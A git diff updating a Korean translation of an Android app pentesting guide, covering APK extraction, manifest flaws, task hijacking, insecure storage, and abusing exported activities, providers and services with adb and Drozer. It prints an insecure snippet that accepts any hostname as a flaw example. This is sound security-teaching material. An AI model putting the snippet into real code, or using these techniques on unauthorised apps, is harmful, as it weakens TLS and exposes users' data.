Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-07-19 12:16:36 +00:00
parent 5a760a1f66
commit 96410151ab
4 changed files with 238 additions and 135 deletions

View File

@ -348,6 +348,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)

View File

@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge) ## ADB (Android Debug Bridge)
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\ 이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다. **ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 가능하게 합니다.
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배세요. 다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배워보세요.
## Smali ## Smali
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ 때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**. [**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
## Other interesting tricks ## Other interesting tricks
@ -28,7 +28,7 @@ android-applications-basics.md
- [Shizuku Privileged API (ADB 기반 비루트 특권 접근)](shizuku-privileged-api.md) - [Shizuku Privileged API (ADB 기반 비루트 특권 접근)](shizuku-privileged-api.md)
- [불안전한 인앱 업데이트 메커니즘 악용하기](insecure-in-app-update-rce.md) - [불안전한 인앱 업데이트 메커니즘 악용하기](insecure-in-app-update-rce.md)
- **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device: - 장치에서 APK 추출:
```bash ```bash
adb shell pm list packages adb shell pm list packages
com.android.insecurebankv2 com.android.insecurebankv2
@ -38,7 +38,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
``` ```
- [APKEditor](https://github.com/REAndroid/APKEditor)를 사용하여 모든 분할 및 기본 APK를 병합합니다: - 모든 분할 및 기본 APK를 [APKEditor](https://github.com/REAndroid/APKEditor) 병합합니다:
```bash ```bash
mkdir splits mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -47,10 +47,16 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
``` ```
## 사례 연구 및 취약점
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## 정적 분석 ## 정적 분석
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다.**\ 우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\
자세한 정보는 [**여기에서 다양한 디컴파일러에 대한 정보를 확인하세요.**](apk-decompilers.md). 자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md).
### 흥미로운 정보 찾기 ### 흥미로운 정보 찾기
@ -62,13 +68,13 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml ### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
**애플리케이션의 _Manifest.xml_**_strings.xml_** 파일을 검사하면 잠재적인 보안 취약점을 발견할 수 있습니다.** 이 파일들은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다. **애플리케이션의 _Manifest.xml_**_strings.xml_** 파일을 검사하면 잠재적인 보안 취약점을 드러낼 수 있습니다**. 이 파일들은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다: **Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다:
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요. - **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다. - **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
- **네트워크 보안**: _res/xml/_의 사용자 정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다. - **네트워크 보안**: _res/xml/_의 사용자 정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다. - **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다. - **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다. - **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
@ -89,9 +95,9 @@ tapjacking.md
### 작업 탈취 ### 작업 탈취
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 탈취에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 탈취할 수 있음을 의미합니다**(따라서 사용자는 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). **`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 탈취에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 탈취할 수 있습니다**(따라서 사용자는 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
자세한 정보는 다음에서 확인하세요: 자세한 내용은 다음에서 확인하세요:
{{#ref}} {{#ref}}
android-task-hijacking.md android-task-hijacking.md
@ -101,16 +107,16 @@ android-task-hijacking.md
**내부 저장소** **내부 저장소**
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(악의적인 애플리케이션 포함)이 이러한 파일에 접근하는 것**제한하지 않습니다**. Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(악의적인 애플리케이션 포함)에서 이러한 파일에 대한 접근**제한하지 않습니다**.
1. **정적 분석:** 1. **정적 분석:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**. - `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
2. **동적 분석:** 2. **동적 분석:**
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 어떤 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. - 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
**외부 저장소** **외부 저장소**
**외부 저장소**(예: SD 카드)에서 파일을 다룰 때는 몇 가지 주의 사항을 고려해야 합니다: **외부 저장소**(예: SD 카드)에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다:
1. **접근성**: 1. **접근성**:
- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다. - 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다.
@ -119,8 +125,8 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다. - 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다.
3. **외부 저장소에서 데이터 처리**: 3. **외부 저장소에서 데이터 처리**:
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 유효성 검사를 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. - 외부 저장소에서 검색한 데이터에 대해 항상 **입력 유효성 검사를 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 외부 저장소에 실행 파일이나 클래스 파일을 저장하여 동적으로 로드하는 것은 강력히 권장되지 않습니다. - 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. - 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인하세요. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**. 외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**.
@ -136,7 +142,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
**모든 인증서 수락** **모든 인증서 수락**
어떤 이유로 개발자들이 호스트 이름이 코드의 다음 줄과 일치하지 않더라도 모든 인증서를 수락하는 경우가 있습니다: 어떤 이유로 개발자들은 때때로 호스트 이름이 다음과 같은 코드 줄과 일치하지 않더라도 모든 인증서를 수락합니다:
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -151,15 +157,15 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms** **Use of Insecure and/or Deprecated Algorithms**
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다. 개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
### Other checks ### Other checks
- **APK를 난독화**하여 공격자가 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다. - **APK를 난독화**하여 공격자의 리버스 엔지니어링 작업을 어렵게 하는 것이 좋습니다.
- 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다.
- 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다.
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다.
- [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/커/난독화 도구를 확인하세요. - [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/커/난독화 도구를 확인하세요.
### React Native Application ### React Native Application
@ -271,36 +277,36 @@ You need to activate the **debugging** options and it will be cool if you can **
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. 개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
> [!WARNING] > [!WARNING]
> **Android 4.0 이후**부터 **응용 프로그램은 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\ > **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 로그에 기록하지 않는 것이 여전히 권장됩니다**. > 어쨌든, **민감한 정보를 로그로 남기지 않는 것이 여전히 권장됩니다**.
**Copy/Paste Buffer Caching** **Copy/Paste Buffer Caching**
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 응용 프로그램**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다. Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
**Crash Logs** **Crash Logs**
응용 프로그램이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 응용 프로그램을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다. 애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**. 펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
**Analytics Data Sent To 3rd Parties** **Analytics Data Sent To 3rd Parties**
응용 프로그램은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **응용 프로그램의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다. 애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
### SQLite DBs ### SQLite DBs
대부분의 응용 프로그램은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\ 대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다. 데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다. 데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다. `.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
### Drozer (Exploit Activities, Content Providers and Services) ### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 응용 프로그램이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용**하는 데 유용한 도구입니다. Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자****악용**하는 데 유용한 도구입니다.
### Exploiting exported Activities ### Exploiting exported Activities
@ -320,38 +326,38 @@ adb에서 내보낸 활동을 시작할 수도 있습니다:
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
**NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다. **NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용하는 것을 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
> [!TIP] > [!TIP]
> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다. > 권한 우회가 항상 취약점이 되는 것은 아니며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
**민감한 정보 유출** **민감한 정보 유출**
**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다. **활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 민감한 정보 유출이 발생합니다.
#### Tapjacking #### Tapjacking
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 따라가세요**](#tapjacking). Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 따라가세요**](#tapjacking).
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작 ### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\ [**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. 콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers) [**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
### **서비스 악용** ### **서비스 악용**
[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\ [**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요. 서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**할 수 있는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로** **테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\ 서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 응답하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services) [**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
### **브로드캐스트 수신기 악용** ### **브로드캐스트 수신기 악용**
